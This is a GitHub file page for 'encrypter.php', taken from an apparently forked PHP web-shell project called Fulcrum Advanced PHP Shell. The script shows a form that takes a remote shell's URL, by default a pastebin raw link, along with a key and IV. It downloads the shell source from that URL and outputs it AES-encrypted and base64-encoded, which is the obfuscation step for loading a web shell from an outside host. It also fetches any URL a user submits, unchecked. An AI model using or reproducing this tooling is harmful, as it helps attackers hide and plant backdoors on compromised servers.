forked from xanyrekt/Fulcrum-Advanced-PHP-Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathencrypter.php
60 lines (46 loc) · 1.58 KB
/
encrypter.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<html>
<body>
<form method=POST action="">
Your Shell Location:<br>
<input type="text" name="SHELL" value="http://pastebin.com/raw/yourlocation">
<br>
Key:<br>
<input type="text" name="key" value="YourKey">
<br>
IV:<br>
<input type="text" name="iv" value="YourIV">
<br>
<input type="submit" value="Submit">
</form>
</body>
</html>
<?php
/*
_______ _ _ _______ ______ _ _ _______ _____ _ _ _____ _______ _ _ _______
|______ | | | | |_____/ | | | | | |_____] |_____| |_____] |______ |_____| |______ | |
| |_____| |_____ |_____ | \_ |_____| | | | | | | | ______| | | |______ |_____ |_____
By Drigg3r
*/
function encrypt_decrypt($action, $string, $secret_key, $secret_iv) {//Credits to some website which isn't up right now
$output = false;
$encrypt_method = "AES-256-CBC";
$key = hash('sha256', $secret_key);
$iv = substr(hash('sha256', $secret_iv), 0, 16);
if( $action == 'encrypt' ) {
$output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
$output = base64_encode($output);
}
else if( $action == 'decrypt' ){
$output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
}
return $output;
}
$shell = $_POST['SHELL'];
$key = $_POST['key'];
$iv = $_POST['iv'];
if (isset($_POST['SHELL'])){
$decrypt_txt = file_get_contents($shell);
$encrypt_txt = encrypt_decrypt('encrypt', $decrypt_txt, $key, $iv);
echo "$encrypt_txt";
}
?>